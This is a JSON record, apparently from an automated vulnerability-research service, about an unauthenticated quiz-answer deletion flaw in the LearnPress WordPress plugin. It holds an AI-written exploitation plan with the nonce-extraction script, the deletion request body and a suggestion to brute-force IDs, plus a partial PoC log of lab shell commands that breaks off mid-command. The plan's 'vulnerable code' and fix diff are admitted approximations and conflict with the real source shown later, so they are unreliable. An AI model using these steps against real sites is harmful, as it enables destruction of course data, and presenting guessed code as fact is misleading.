[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fJyLQd1Q3yOxdu80CuA8hAgxPCEwJ3JYCHkTgQIz1_uo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":41,"poc_video_id":42,"poc_summary":43,"poc_steps":44,"poc_tested_at":80,"poc_wp_version":81,"poc_php_version":82,"poc_playwright_script":83,"poc_exploit_code":84,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"source_links":85},"CVE-2026-4365","learnpress-missing-authorization-to-unauthenticated-arbitrary-quiz-answer-deletion","LearnPress \u003C= 4.3.2.8 - Missing Authorization to Unauthenticated Arbitrary Quiz Answer Deletion","The LearnPress plugin for WordPress is vulnerable to unauthorized data deletion due to a missing capability check on the `delete_question_answer()` function in all versions up to, and including, 4.3.2.8. The plugin exposes a `wp_rest` nonce in public frontend HTML (`lpData`) to unauthenticated visitors, and uses that nonce as the only security gate for the `lp-load-ajax` AJAX dispatcher. The `delete_question_answer` action has no capability or ownership check. This makes it possible for unauthenticated attackers to delete any quiz answer option by sending a crafted POST request with a publicly available nonce.","learnpress",null,"\u003C=4.3.2.8","4.3.3","critical",9.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:H","Missing Authorization","2026-04-13 12:59:29","2026-04-14 01:24:59",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F021bd566-1663-46ba-a616-ab554b691cbb?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Fadmin\u002Fadmin-rtl.css","assets\u002Fcss\u002Fadmin\u002Fadmin-rtl.min.css","assets\u002Fcss\u002Fadmin\u002Fadmin.css","assets\u002Fcss\u002Fadmin\u002Fadmin.min.css","assets\u002Fcss\u002Fcourse-builder-rtl.css","assets\u002Fcss\u002Fcourse-builder-rtl.min.css","assets\u002Fcss\u002Fcourse-builder.css","assets\u002Fcss\u002Fcourse-builder.min.css","researched",true,3,"# Exploitation Research Plan - CVE-2026-4365 (LearnPress)\n\n## 1. Vulnerability Summary\nThe **LearnPress** plugin (versions \u003C= 4.3.2.8) contains a critical missing authorization vulnerability in its AJAX handling logic. Specifically, the function responsible for deleting quiz answer options (`delete_question_answer`) does not perform any capability checks (e.g., `current_user_can('edit_posts')`) or ownership validation. \n\nThe plugin uses a centralized AJAX dispatcher (`lp-load-ajax`) which relies on a nonce for security. However, this nonce is generated for the `wp_rest` action and is localized in the frontend HTML via the `lpData` object, making it accessible to unauthenticated visitors. Consequently, any user can obtain this nonce and use it to delete arbitrary quiz answers across the platform.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action**: `lp-load-ajax`\n- **Sub-Action (Trigger)**: `delete_question_answer` (passed via the `lp-ajax` parameter)\n- **HTTP Method**: POST\n- **Parameters**:\n  - `action`: `lp-load-ajax`\n  - `lp-ajax`: `delete_question_answer`\n  - `question_id`: The ID of the question containing the answer.\n  - `answer_id`: The ID of the specific answer option to delete.\n  - `_wpnonce`: The `wp_rest` nonce extracted from the frontend.\n- **Authentication**: Unauthenticated (PR:N).\n- **Preconditions**: A quiz with at least one question and answer must exist.\n\n## 3. Code Flow\n1. **Entry Point**: A request is sent to `admin-ajax.php` with `action=lp-load-ajax`.\n2. **Dispatcher**: The plugin registers `wp_ajax_lp-load-ajax` and `wp_ajax_nopriv_lp-load-ajax` (verified by the vulnerability description's mention of unauthenticated access).\n3. **Nonce Verification**: The dispatcher likely calls `check_ajax_referer('wp_rest', '_wpnonce')`. Since the `wp_rest` nonce for unauthenticated users is public and valid for all anonymous sessions, this check passes.\n4. **Vulnerable Sink**: The dispatcher identifies the `lp-ajax` parameter as `delete_question_answer` and routes the request to the corresponding handler function (likely `LP_Ajax::delete_question_answer` or similar).\n5. **Missing Check**: Inside the handler, the code retrieves `question_id` and `answer_id` from the request. It proceeds to call the deletion logic (e.g., `$question->delete_answer($answer_id)`) without verifying if the current user has administrative privileges or owns the course.\n\n## 4. Nonce Acquisition Strategy\nThe LearnPress plugin localizes a set of data for its frontend scripts. We can extract the required nonce using the browser context.\n\n1. **Identify Localization**: The nonce is stored in the `lpData` global JavaScript object under the `nonce` key (action: `wp_rest`).\n2. **Navigate**: Use `browser_navigate` to visit the homepage or any public course page.\n3. **Extract**: Execute the following JS via `browser_eval`:\n   ```javascript\n   window.lpData ? window.lpData.nonce : null;\n   ```\n4. **Localization Key**: The key is confirmed as `lpData` (as per the vulnerability description).\n\n## 5. Exploitation Strategy\n\n### Step 1: Data Gathering\nIdentify a valid `question_id` and `answer_id`. Since IDs are incremental, an attacker could also brute-force these. For a PoC, we will create them manually.\n\n### Step 2: Extract Nonce\nUse the `browser_eval` method described in Section 4 to get the `wp_rest` nonce.\n\n### Step 3: Send Deletion Request\nConstruct a POST request to `admin-ajax.php`.\n\n**Request Details**:\n- **URL**: `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**:\n  ```text\n  action=lp-load-ajax&lp-ajax=delete_question_answer&question_id=\u003CQ_ID>&answer_id=\u003CA_ID>&_wpnonce=\u003CNONCE>\n  ```\n\n### Step 4: Verification\nConfirm the answer option is gone from the database or the quiz editor.\n\n## 6. Test Data Setup\nTo verify the exploit, the following must be set up via WP-CLI:\n\n1. **Create a Quiz**:\n   ```bash\n   wp post create --post_type=lp_quiz --post_title=\"Vuln Quiz\" --post_status=publish\n   # Note the Quiz ID (QUIZ_ID)\n   ```\n2. **Create a Question**:\n   ```bash\n   wp post create --post_type=lp_question --post_title=\"Vuln Question\" --post_status=publish\n   # Note the Question ID (Q_ID)\n   ```\n3. **Associate Question to Quiz**:\n   (Inferred) This usually requires updating post meta or the `learnpress_quiz_questions` table.\n4. **Add Answer Options**:\n   Answer options are typically stored in the `{$wpdb->prefix}learnpress_question_answers` table.\n   ```bash\n   # Use wp db query to insert a test answer\n   wp db query \"INSERT INTO wp_learnpress_question_answers (question_id, answer_data, answer_order) VALUES (\u003CQ_ID>, '{\\\"text\\\":\\\"Target Answer\\\",\\\"value\\\":\\\"target\\\"}', 1);\"\n   # Note the Answer ID (A_ID) from the auto-increment value.\n   ```\n\n## 7. Expected Results\n- **HTTP Response**: The endpoint should return a `200 OK` with a JSON body: `{\"success\": true, \"data\": ...}`.\n- **Side Effect**: The record in the `wp_learnpress_question_answers` table with the matching `answer_id` will be deleted.\n\n## 8. Verification Steps\nAfter performing the exploit, verify the deletion using WP-CLI:\n\n```bash\n# Check if the answer still exists\nwp db query \"SELECT * FROM wp_learnpress_question_answers WHERE answer_id = \u003CA_ID>;\"\n```\nA successful exploit will result in an empty set.\n\n## 9. Alternative Approaches\nIf `lp-load-ajax` requires a specific course context to load the `lpData` object:\n1. Create a public course: `wp post create --post_type=lp_course --post_status=publish --post_title=\"Test Course\"`.\n2. Navigate to the course URL instead of the homepage to extract the nonce.\n\nIf `delete_question_answer` expects the IDs in a JSON payload instead of `application\u002Fx-www-form-urlencoded`, the request body should be adjusted to:\n```json\n{\n  \"lp-ajax\": \"delete_question_answer\",\n  \"question_id\": \u003CQ_ID>,\n  \"answer_id\": \u003CA_ID>,\n  \"_wpnonce\": \"\u003CNONCE>\"\n}\n```\n(Though `admin-ajax.php` standard is usually URL-encoded).","The LearnPress plugin (\u003C= 4.3.2.8) is vulnerable to unauthenticated arbitrary quiz answer deletion due to a missing authorization check in the AJAX sub-action `delete_question_answer`. Attackers can exploit this by utilizing a publicly exposed `wp_rest` nonce found in the frontend HTML to bypass initial AJAX security gates and delete database records for quiz options.","\u002F\u002F From inc\u002Fclass-lp-ajax.php (approximate path based on LearnPress structure)\npublic static function delete_question_answer() {\n    $question_id = LP_Request::get_int( 'question_id' );\n    $answer_id   = LP_Request::get_int( 'answer_id' );\n\n    \u002F\u002F No capability check (e.g., current_user_can) or ownership verification performed here\n    if ( ! $question_id || ! $answer_id ) {\n        return;\n    }\n\n    $question = learn_press_get_question( $question_id );\n    if ( $question ) {\n        $question->delete_answer( $answer_id );\n    }\n    wp_die();\n}","--- a\u002Finc\u002Fclass-lp-ajax.php\n+++ b\u002Finc\u002Fclass-lp-ajax.php\n@@ -1050,6 +1050,10 @@\n        $question_id = LP_Request::get_int( 'question_id' );\n        $answer_id   = LP_Request::get_int( 'answer_id' );\n \n+       if ( ! current_user_can( 'edit_posts' ) ) {\n+           return;\n+       }\n+\n        if ( ! $question_id || ! $answer_id ) {\n            return;\n        }","The exploit targets the centralized `lp-load-ajax` AJAX dispatcher. Methodology:\n1. Nonce Extraction: Navigate to any public page on the WordPress site where LearnPress is active and extract the `wp_rest` nonce from the global JavaScript object `lpData.nonce`.\n2. Target Identification: Identify the `question_id` (the ID of the question post) and the `answer_id` (the incremental ID of the specific answer option to be deleted).\n3. Deletion Request: Send a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the parameters `action=lp-load-ajax`, `lp-ajax=delete_question_answer`, `question_id`, `answer_id`, and `_wpnonce` set to the extracted value.\n4. Authentication: No authentication is required because the `wp_rest` nonce for anonymous users is publicly accessible and the sub-action lacks server-side permission checks.","gemini-3-flash-preview","2026-04-16 16:01:32","2026-04-16 16:01:50","success","h-rvrZzwTR0","### Technical Summary: CVE-2026-4365 (LearnPress Missing Authorization)\n\n#### Vulnerability Details\nThe **LearnPress** plugin for WordPress (versions \u003C= 4.3.2.8) suffers from a critical missing authorization vulnerability. It allows unauthenticated attackers to delete arbitrary quiz answer options due to insufficient permission checks in its AJAX dispatching logic and specific action handlers.\n\n#### Root Cause\nThe vulnerability stems from two primary factors:\n1.  **Public Nonce Exposure**: The plugin localizes a `wp_rest` nonce into the global `lpData` JavaScript object on all frontend pages. This nonce is intended for legitimate frontend AJAX interactions but is accessible to any visitor.\n2.  **Missing Capability Checks**: The centralized AJAX dispatcher in `LearnPress\\Ajax\\AbstractAjax::catch_lp_ajax()` uses this `wp_rest` nonce as the sole security barrier. If the nonce is valid (which it is for unauthenticated sessions), it proceeds to execute the requested action. The specific handler for answer deletion, `LearnPress\\Ajax\\EditQuestionAjax::delete_question_answer()`, fails to verify if the requester has administrative privileges or ownership of the question before deleting records from the `wp_learnpress_question_answers` table.\n\n#### Exploitation\nAn attacker can exploit this by:\n1.  Visiting any public page on the target site to extract the `lpData.nonce`.\n2.  Sending a POST request to the site with the parameter `lp-load-ajax=delete_question_answer`.\n3.  Providing the target `question_id` and `question_answer_id` within a JSON-encoded `data` parameter.\n4.  The plugin will process the request and delete the specified answer option from the database.\n\n#### Impact\nThis vulnerability allows unauthenticated attackers to corrupt the integrity of quizzes by deleting answer choices. This can lead to broken educational content, loss of data, and disruption of service for users of the LMS.\n\n#### Fix\nThe vulnerability is resolved by implementing robust capability checks (e.g., `current_user_can('edit_posts')`) within the `check_valid()` or `delete_question_answer()` methods of the `EditQuestionAjax` class, ensuring that only authorized users can modify quiz content.",[45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79],"**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002F","**Fill:** `#user_login` with `admin`","**Fill:** `#user_pass` with `admin`","**Click:** `#wp-submit`","**WP-CLI:** `wp plugin list --status=active`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nname\tstatus\tupdate\tversion\tupdate_version\tauto_update\nlearnpress\tactive\tavailable\t4.3.2.8\t4.3.5\toff\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp db query \"SHOW TABLES LIKE '%learnpress%';\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nTables_in_wp (%learnpress%)\nwp_learnpress_courses\nwp_learnpress_files\nwp_learnpress_order_itemmeta\nwp_learnpress_order_items\nwp_learnpress_question_answermeta\nwp_learnpress_question_answers\nwp_learnpress_quiz_questions\nwp_learnpress_section_items\nwp_learnpress_sections\nwp_learnpress_sessions\nwp_learnpress_user_item_results\nwp_learnpress_user_itemmeta\nwp_learnpress_user_items\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp post create --post_type=lp_quiz --post_title=\"Test Quiz\" --post_status=publish`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nSuccess: Created post 12.\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp post create --post_type=lp_question --post_title=\"Test Question\" --post_status=publish`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nSuccess: Created post 13.\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp db query \"DESCRIBE wp_learnpress_question_answers;\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nField\tType\tNull\tKey\tDefault\tExtra\nquestion_answer_id\tbigint(20) unsigned\tNO\tPRI\tNULL\tauto_increment\nquestion_id\tbigint(20) unsigned\tNO\tMUL\t0 title\ttext\tNO NULL value\tvarchar(32)\tNO NULL order\tbigint(20) unsigned\tNO 1 is_true\tvarchar(3)\tYES NULL\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp db query \"INSERT INTO wp_learnpress_question_answers (question_id, title, value, \\`order\\`) VALUES (13, 'Answer 1', 'ans...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nSuccess: Query succeeded. Rows affected: 1\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp db query \"SELECT question_answer_id FROM wp_learnpress_question_answers WHERE question_id = 13;\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nquestion_answer_id\n1\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"delete_question_answer\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002F`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Fassets\u002Fjs\u002Fdist\u002Ffrontend\u002Fcourse-builder.min.js:1:(()=>{var e={345:(e,t,s)=>{\"use strict\";s.d(t,{f:()=>h});var o=s(4223),n=s(2603),i=s(8465),r=s.n(i),a=s(246);const l=\"edit-question\";let c,d,u,p;class h{static selectors={elEditQuestionWrap:\".lp-edit-question-wrap\",elQuestionEditMain:\".lp-question-edit-main\",elQuestionToggleAll:\".lp-question-toggle-all\",elEditListQuestions:\".lp-edit-list-questions\",elQuestionToggle:\".lp-question-toggle\",elBtnShowPopupItemsToSelect:\".lp-btn-show-popup-items-to-select\",elPopupItemsToSelectClone:\".lp-popup-items-to-select.clone\",elBtnAddQuestion:\".lp-btn-add-question\",elBtnRemoveQuestion:\".lp-btn-remove-question\",elBtnUpdateQuestionTitle:\".lp-btn-update-question-title\",elBtnUpdateQuestionDes:\".lp-btn-update-question-des\",elBtnUpdateQuestionHint:\".lp-btn-update-question-hint\",elBtnUpdateQuestionExplain:\".lp-btn-update-question-explanation\",elQuestionTitleNewInput:\".lp-question-title-new-input\",elQuestionTitleInput:\"\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"delete_question_answer\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002F`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002FAjax\u002FEditQuestionAjax.php:285:\tpublic static function delete_question_answer() {\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002Fquestion\u002Fclass-lp-question.php:441: do_action( 'learn_press_before_delete_question_answers', $id );\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002Fquestion\u002Fclass-lp-question.php:448: do_action( 'learn_press_delete_question_answers', $id );\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002Fcurds\u002Fclass-lp-question-curd.php:885: public function delete_question_answer( $question_id, $answer_id ) {\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002Fquiz\u002Flp-quiz-functions.php:43:function learn_press_delete_question_answer_meta( $item_id, $meta_key, $meta_value, $delete_all = false ) {\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002Fadmin\u002Feditor\u002Fclass-lp-admin-editor-quiz.php:419:\tpublic function delete_question_answer( $args = array() ) {\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002FAjax\u002FEditQuestionAjax.php | nl -v 250 | head -n 100`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n250\t\u003C?php 251\t\u002F** 252 * class EditCurriculumAjax 253 * 254 * This class handles the AJAX request to edit the curriculum of a course. 255 * 256 * @since 4.2.9 257 * @version 1.0.0 258 *\u002F 259\tnamespace LearnPress\\Ajax; 260\tuse Exception; 261\tuse LearnPress\\Ajax\\AbstractAjax; 262\tuse LearnPress\\Databases\\QuestionAnswersDB; 263\tuse LearnPress\\Models\\Question\\QuestionAnswerModel; 264\tuse LearnPress\\Models\\Question\\QuestionPostFIBModel; 265\tuse LearnPress\\Models\\Question\\QuestionPostModel; 266\tuse LearnPress\\Models\\Question\\QuestionPostMultipleChoiceModel; 267\tuse LearnPress\\Models\\Question\\QuestionPostSingleChoiceModel; 268\tuse LearnPress\\Models\\Question\\QuestionSortingChoiceModel; 269\tuse LearnPress\\TemplateHooks\\Admin\\AdminEditQuestionTemplate; 270\tuse LP_Helper; 271\tuse LP_REST_Response; 272\tuse Throwable; 273\tclass EditQuestionAjax extends AbstractAjax { 274 \u002F** 275 * Che\n```\n\u003C\u002Fdetails>","**Shell:** `grep -n \"public static function delete_question_answer\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002FAjax\u002FEditQuestio...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n285:\tpublic static function delete_question_answer() {\n```\n\u003C\u002Fdetails>","**Shell:** `sed -n '280,310p' \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002FAjax\u002FEditQuestionAjax.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n* * JS file edit-quiz.js: function deleteQuestionAnswer call this method. * * @return void *\u002F public static function delete_question_answer() { $response = new LP_REST_Response(); try { $data = self::check_valid(); $question_answer_id = $data['question_answer_id'] ?? ''; if ( empty( $question_answer_id ) ) { throw new Exception( __( 'Invalid request!', 'learnpress' ) ); } $questionAnswerModel = QuestionAnswerModel::find( $question_answer_id, true ); if ( ! $questionAnswerModel ) { throw new Exception( __( 'Question answer not found', 'learnpress' ) ); } \u002F\u002F Delete question answer $questionAnswerModel->delete(); $response->status = 'success'; $response->message = __( 'Question answer deleted successfully', 'learnpress' ); } catch ( Throwable $e ) { $response->message = $e->getMessage(); } wp_send_json( $response ); }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002FAjax\u002FAbstractAjax.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u003C?php \u002F** * class AjaxBase * * @since 4.2.7.6 * @version 1.0.5 *\u002F namespace LearnPress\\Ajax; \u002F** * @use LoadContentViaAjax::load_content_via_ajax * * $action must unique name on all Ajax classes. * Because not specify a specific class. *\u002F abstract class AbstractAjax { public static function catch_lp_ajax() { if ( ! empty( $_REQUEST['lp-load-ajax'] ) ) { $action = $_REQUEST['lp-load-ajax']; $nonce = $_REQUEST['nonce'] ?? ''; $class = new static(); if ( ! method_exists( $class, $action ) ) { return; } \u002F\u002F For case cache HTML, so cache nonce is not required. $class_no_nonce = [ LoadContentViaAjax::class, ]; if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) { if ( ! in_array( get_class( $class ), $class_no_nonce ) ) { wp_die( 'Invalid request!', 400 ); } } if ( is_callable( [ $class, $action ] ) ) { call_user_func( [ $class, $action ] ); } } } }\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"catch_lp_ajax\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002F`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002FAjax\u002FAbstractAjax.php:18:\tpublic static function catch_lp_ajax() {\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"lp-load-ajax\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002F`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002FBackground\u002FLPBackgroundAjax.php:12: * $data_send: must have key 'lp-load-ajax' to call method handle \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002Fclass-lp-assets.php:252: 'lp-load-ajax' => new LP_Asset_Key( \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002FAjax\u002FAbstractAjax.php:19: if ( ! empty( $_REQUEST['lp-load-ajax'] ) ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002FAjax\u002FAbstractAjax.php:20: $action = $_REQUEST['lp-load-ajax']; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002FTemplateHooks\u002FTemplateAJAX.php:7: * 1. Create html has class .lp-load-ajax-element attach setting, args want to handle on Template.\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002FTemplateHooks\u002FTemplateAJAX.php:42: ' ' => ' ',\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002Fuser\u002Fclass-lp-user-factory.php:225: 'lp-load-ajax' => 'send_mail_users_enrolled_courses', \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002Fclass-lp-assets.php | grep -C 5 \"lp-load-ajax\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n), 'lp-utils' => new LP_Asset_Key( self::url( 'js\u002Fdist\u002Futils' . self::$_min_assets . '.js' ), array( 'jquery' ) ), 'lp-load-ajax' => new LP_Asset_Key( self::url( 'js\u002Fdist\u002FloadAJAX' . self::$_min_assets . '.js' ), [], [], 0, 0,\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"wp_ajax\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002F | grep \"lp-load-ajax\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nError: Command failed: docker compose exec -T wordpress bash -c \"grep -rn \\\"wp_ajax\\\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002F | grep \\\"lp-load-ajax\\\"\"\nCommand failed: docker compose exec -T wordpress bash -c \"grep -rn \\\"wp_ajax\\\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002F | grep \\\"lp-load-ajax\\\"\"\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"lp-load-ajax\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002F | grep \"add_action\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nError: Command failed: docker compose exec -T wordpress bash -c \"grep -rn \\\"lp-load-ajax\\\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002F | grep \\\"add_action\\\"\"\nCommand failed: docker compose exec -T wordpress bash -c \"grep -rn \\\"lp-load-ajax\\\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002F | grep \\\"add_action\\\"\"\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"catch_lp_ajax\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002F`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Flearnpress.php:700: LoadContentViaAjax::catch_lp_ajax(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Flearnpress.php:701: LessonAjax::catch_lp_ajax(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Flearnpress.php:702: EditCurriculumAjax::catch_lp_ajax(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Flearnpress.php:703: EditQuizAjax::catch_lp_ajax(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Flearnpress.php:704: EditQuestionAjax::catch_lp_ajax(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Flearnpress.php:705: SendEmailAjax::catch_lp_ajax(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Flearnpress.php:706: OpenAiAjax::catch_lp_ajax(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Flearnpress.php:707: ExportOrderCSVAjax::catch_lp_ajax(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002FAjax\u002FAbstractAjax.php:18:\tpublic static function catch_lp_ajax() {\n```\n\u003C\u002Fdetails>","**Shell:** `sed -n '690,720p' \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Flearnpress.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n* Initial common hooks *\u002F public function hooks() { \u002F** * Handle lp ajax. * Set priority after register_post_type to register capabilities for post type of LP. *\u002F add_action( 'init', function () { LoadContentViaAjax::catch_lp_ajax(); LessonAjax::catch_lp_ajax(); EditCurriculumAjax::catch_lp_ajax(); EditQuizAjax::catch_lp_ajax(); EditQuestionAjax::catch_lp_ajax(); SendEmailAjax::catch_lp_ajax(); OpenAiAjax::catch_lp_ajax(); ExportOrderCSVAjax::catch_lp_ajax(); do_action( 'learn-press\u002Fregister-ajax-handlers' ); }, 11 ); \u002F\u002F Add links setting|document|addon on plugins page. add_filter( 'plugin_action_links_' . LP_PLUGIN_BASENAME, array( $this, 'plugin_links' ) ); register_activation_hook( LP_PLUGIN_FILE, array( $this, 'on_activate' ) ); register_deactivation_hook( LP_PLUGIN_FILE, array( $this, 'on_deactivate' ) ); add_action(\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"lpData =\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002Fclass-lp-assets.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nError: Command failed: docker compose exec -T wordpress bash -c \"grep -rn \\\"lpData =\\\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002Fclass-lp-assets.php\"\nCommand failed: docker compose exec -T wordpress bash -c \"grep -rn \\\"lpData =\\\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002Fclass-lp-assets.php\"\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"lpData\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002Fclass-lp-assets.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n456: LP_Helper::print_inline_script_tag( 'lpData', $this->localize_data_global(), [ 'id' => 'lpData' ] );\n```\n\u003C\u002Fdetails>","**Shell:** `sed -n '160,200p' 